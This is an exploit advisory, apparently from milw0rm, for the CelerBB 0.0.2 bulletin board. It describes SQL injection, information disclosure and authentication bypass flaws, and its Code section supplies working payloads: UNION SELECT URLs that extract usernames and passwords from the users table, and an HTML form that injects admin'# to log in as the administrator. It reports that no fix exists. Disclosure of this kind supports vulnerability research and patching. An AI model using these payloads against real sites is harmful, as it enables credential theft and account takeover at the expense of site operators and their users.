CelerBB 0.0.2 Multiple Remote Vulnerabilities

Application: CelerBB
Version: 0.0.2
Website: http://celerbb.sourceforge.net/

Bugs: [A] Multiple SQL Injection
[B] Information Disclosure
[C] Authenticaion Bypass

Exploitation: Remote

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs


- [A] Multiple SQL Injection

Requisites: magic_quotes_gpc = off
File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure
Requisites: none
File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

Requisites: magic_quotes_gpc = off
File affected: login.php

This bug allows a guest to bypass authentication.

Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

html
head
title CelerBB 0.0.2 Authentication Bypass Exploit /title
/head
body
form action="login.php" method="POST"
input type="hidden" name="Username" value="admin'#"
input type="submit" value="Exploit"
/form
/body
/html

Fix

No fix.

# milw0rm